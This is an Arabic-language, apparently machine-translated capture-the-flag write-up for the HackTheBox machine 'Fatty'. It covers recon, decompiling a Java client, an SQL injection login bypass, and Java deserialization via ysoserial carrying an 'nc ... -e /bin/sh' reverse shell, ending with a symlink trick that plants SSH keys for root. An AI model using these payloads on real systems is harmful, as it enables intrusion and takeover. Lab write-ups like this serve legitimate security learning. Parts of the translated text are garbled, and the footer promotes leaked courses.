هاكذا بوكس. تجول الدهنية. عكس وإعادة ترجمة تطبيق خادم العميل. إلغاء تسلسل جافا



أستمر في نشر الحلول المرسلة لإنهاء الأجهزة من منصة HackTheBox .



في هذه المقالة ، سنعكس تطبيقي Java ، أثناء تعديل العميل وإعادة تجميعه ، لاستغلال حقن SQL أثناء التفويض وتنفيذ الأوامر على الخادم بسبب ثغرة أمنية في إلغاء تسلسل كائن Java.



الاتصال بالمختبر عبر VPN. يوصى بعدم الاتصال من كمبيوتر العمل أو من مضيف توجد به بيانات مهمة بالنسبة لك ، حيث تجد نفسك في شبكة خاصة مع أشخاص يعرفون شيئًا عن أمن المعلومات.



المعلومات التنظيمية
, , Telegram . , , .



. , - , .



ريكون



هذا الجهاز لديه عنوان IP هو 10.10.10.174 ، والذي أقوم بإضافته إلى / etc / hosts.



10.10.10.174 	fatty.htb


الخطوة الأولى هي فحص المنافذ المفتوحة. نظرًا لأن مسح جميع المنافذ باستخدام nmap يستغرق وقتًا طويلاً ، فسوف أقوم بذلك أولاً باستخدام masscan. نقوم بفحص جميع منافذ TCP و UDP من واجهة tun0 بمعدل 500 حزمة في الثانية.



masscan -e tun0 -p1-65535,U:1-65535 10.10.10.174       --rate=500




الآن ، للحصول على معلومات أكثر تفصيلاً حول الخدمات التي تعمل على المنافذ ، قم بإجراء فحص باستخدام الخيار -A.



nmap -A fatty.htb -p21,22,1337,1338,1339




من فحص nmap ، نرى أنه من الممكن تسجيل دخول مجهول إلى ftp ، بينما يحتوي على عدة ملاحظات وملف jar. قم بتنزيل كل ما هو موجود.



wget ftp://fatty.htb/*






تشير الملاحظة الأولى إلى أن الخادم يعمل على المنافذ 1337 و 1338 و 1339 ، وأن المنفذ 8000 لا يزال في العميل ويحتاج إلى الإصلاح.







المنشور الثاني يتحدث عن التخطيط الثابت للعناصر في نموذج العميل ، وأيضًا أن العميل يعمل مع Java 8.





تقول الملاحظة الثالثة أن هناك مشكلات أمنية وبيانات اعتماد مقدمة.







لنبدأ العميل.



/usr/lib/jvm/java-8-openjdk-amd64/bin/java -jar fatty-client.jar




لنفكك العميل. أنا أستخدم Intellij IDEA لذلك قمت بتثبيت ملحق java decompiler له. فقط قم بفك ضغط ملف jar وحدد الدليل كدليل المشروع. في ملف beans.xml نجد معلمات الاتصال.





دعنا نرمي المنفذ المحلي 8000 إلى جهاز التحكم عن بعد 1337.



simpleproxy -L 8000 -R fatty.htb:1337


في هذه الحالة ، سندخل في / etc / hosts.



127.0.0.1       server.fatty.htb


بهذه الطريقة سيتم إعادة توجيه كل حركة مرور العميل إلى المضيف البعيد. نبدأ وتسجيل الدخول.







دعنا نلقي نظرة حول التطبيق. من بين كل هذا ، يجب أن تتوقف عند وظيفة الحصول على قائمة بالملفات وقراءة الملفات.











ولكن عندما نحاول قراءة المزيد من الملفات ، نحصل على أخطاء.







السؤال الوحيد هو أين يوجد المرشح. توقع الحاجة إلى تصحيح الكود ، قم بفك ترجمة التطبيق إلى jd-gui وحفظه.







بعد فك الضغط ، افتح المجلد كمشروع في Intellij IDEA.



Java Recompile



سنقوم بإعادة ترجمة التطبيق (تعمل هذه الطريقة أيضًا مع التطبيقات المبهمة). الآن دعنا ننتقل إلى إعداد البيئة. انتقل إلى ملف-> هيكل المشروع وإعدادات المشروع ، اضبط الإعدادات التالية: إصدار SDK - java8 والدليل حيث سيتم حفظ الملفات المترجمة.





بعد ذلك ، انتقل إلى Project Modules وفي المصادر حدد الدلائل التي تهمنا والتي تحتوي على الكود الرئيسي.





وفي التبعيات ، أضف ملف جرة التطبيق نفسه.





كما ترى ، اختفى الشخص بجوار عنصر المشاكل. استمر. إضافة تطبيق لتشغيل / تكوينات التصحيح.







وسوف نحدد فئة المبتدئين بأنها الطبقة الرئيسية حيث يبدأ البرنامج منها.







كل شيء جاهز. انتقل الآن إلى فئة Invoke وقم بتعيين نقطة توقف في وظيفة قائمة الملفات لتغيير الدليل.





الآن نبدأ التصحيح ونتوقف عند هذه النقطة.





وتغيير قيمة متغير المجلد.









وقد نجحت. نرى قائمة الملفات. لنكتشف ما يوجد في ملف start.sh. للقيام بذلك ، سنجد وظيفة قراءة الملف وتعيين نقطة توقف فيه.





دعونا نفتح هذا الملف في الملحق ونتوقف عند هذه النقطة.





وتغيير قيمة متغير اسم المجلد.









وقد قرأنا هذا الملف بنجاح.





وبالتالي ، يعمل هذا التطبيق نيابة عن مستخدم النظام qtc. من أجل الحصول على التطبيق ، تحتاج إلى تغيير الكود. دعنا نضيف وظيفة للكتابة إلى ملف ، والحصول على الاستجابة بالبايت ، وترميزها في base64 وتمرير هذه السلسلة إلى هذه الوظيفة.





دعنا نطلب ملفًا من خلال التطبيق ، ونتوقف عند نقطة توقف ونغير المسار.





وتم حفظ الملف بنجاح.





cat srv.b64 | base64 -d > fatty-server.jar


خادم pwning



افتح تطبيق الخادم في jd-gui. بعد الاطلاع على الكود قليلاً ، نجمع معلومات مفيدة للغاية. على سبيل المثال ، بيانات اتصال قاعدة البيانات.





وأيضًا طلب قاعدة البيانات أثناء التفويض.





وبالتالي ، يتم إنشاء مستخدم للتطبيق ، بناءً على البيانات التي سيتم إرجاعها من قاعدة البيانات.







وبالتالي ، يمكننا تقديم مثل هذا الطلب حتى يتم إنشاء qtc المعروف لنا ، ولكن مع حقوق المسؤول بالفعل. نحن نعلم اسم المستخدم وكلمة المرور الخاصة به ، ولكن يجب إرجاع التجزئة من قاعدة البيانات. دعنا نحسبها:





نحتاج إلى تنفيذ استعلام مثل هذا:



SELECT id, username, email, password, role FROM users WHERE username='qwerty' union select 123,'qtc','qtc@fatty.htb','5A67EA356B858A2318017F948BA505FD867AE151D6623EC32BE86E9C688BF046','admin'


للقيام بذلك ، عند تصحيح أخطاء التطبيق ، سنتوقف عند وظيفة تسجيل الدخول.





وتغيير المتغير اسم المستخدم.



qwerty' union select 123,'qtc','qtc@fatty.htb','5A67EA356B858A2318017F948BA505FD867AE151D6623EC32BE86E9C688BF046','admin










بعد التفويض الناجح ، سنرى حقوقنا ، ونحن نعمل كمسؤول.







من أجل عدم تغيير أي شيء آخر أثناء التصحيح ، ولكن للحصول باستمرار على حق الوصول الإداري ، حتى مع الحقول الفارغة ، سنقوم بتغيير وظيفة تسجيل الدخول.







الآن وقد توصلنا إلى كيفية زيادة حقوقنا ، فلنلقِ نظرة على الوظائف الجديدة المتاحة ونقرر ناقل الهجوم الإضافي. وفي كود الخادم نتشبث باستخدام التسلسل في وظيفة تغيير كلمة المرور.







لنجد هذه الميزة في تطبيق العميل.







وبالتالي ، يتم تسلسل كائن المستخدم ، وتشفير base64 ، وتمريره إلى الخادم ، حيث يتم فك تشفيره وإلغاء تسلسله. نظرًا لأن اسم الوظيفة معتم ، فلن يتم استخدامه في أي مكان. يمكنك التحقق من ذلك بمحاولة تغيير كلمة المرور.







لنضع نقطة توقف داخل وظيفة تغيير كلمة المرور ، قبل إضافة الكائن المتسلسل كوسيطة.







دعنا نعثر على الكود الذي يتم تنفيذه عند النقر فوق الزر "تغيير".







دعونا نضيف استدعاء الوظيفة.







يمكنك استخدام ysoserial لاستغلال ثغرة أمنية في إلغاء تسلسل البيانات . أولاً ، دعنا نحدد الوحدة.

grep -R Invoke .






وهكذا ، سوف نستخدم كومنز كوليكشنز.

/usr/lib/jvm/java-8-openjdk-amd64/bin/java -jar ysoserial-master-30099844c6-1.jar CommonsCollections5 'nc 10.10.15.60 4321 -e /bin/sh' | base64 -w0


وسنقوم بإدخال الحمل المستلم في الرمز الذي تم تغييره لوظيفة تغيير كلمة المرور.







بعد تنفيذ التطبيق ، نحصل على اتصال خلفي.







جذر



قم بتحميل أحد نصوص تعداد النظام ، على سبيل المثال linpeas. لا نجد أي شيء مثير للاهتمام ، باستثناء أننا في حاوية رصيف.







نظرًا لأننا لم نجد أي شيء ثابتًا ، فلنبدأ pspy ونتتبع العمليات الجارية. لكن بعد الانتظار قليلاً ، لم يحدث شيء مثير للاهتمام. ثم بدأت العملية ببدء تطبيق العميل وإغلاقه. بعد إغلاق التطبيق ، تم إصدار الأمر scp.







وهكذا ، يتم نسخ الأرشيف مع السجلات. أستطيع أن أفترض أنه يتم تفريغها أيضًا. دعنا نسجل معًا ونرفع وننشئ ونحزم رابطًا إلى ملف باستخدام مفاتيح ssh.







دعنا نتحقق من الأرشيف.







ممتاز. الآن لنفتح التطبيق ، ونقوم بتسجيل الدخول ، وتغيير السجلات وإغلاق التطبيق.

mv my.tar /opt/fatty/tar/logs.tar


الآن ، إذا كررت شيئًا من هذا القبيل ، فستتم كتابة محتويات الملف إلى author_keys. لذلك ، نقوم بإنشاء زوج مفاتيح باستخدام ssh-keygen ، وإعادة تنفيذ الحيلة باستخدام التطبيق وكتابة واحدة عامة بدلاً من الأرشيف.







الآن يمكننا الاتصال عبر SSH بمفتاح خاص.







يمكنك الانضمام إلينا على Telegram . هناك يمكنك العثور على مواد مثيرة للاهتمام ودورات مسربة وبرامج. دعنا نجمع مجتمعًا ، حيث سيكون هناك أشخاص على دراية بالعديد من مجالات تكنولوجيا المعلومات ، ثم يمكننا دائمًا مساعدة بعضنا البعض في أي مشكلات تتعلق بتكنولوجيا المعلومات وأمن المعلومات.



All Articles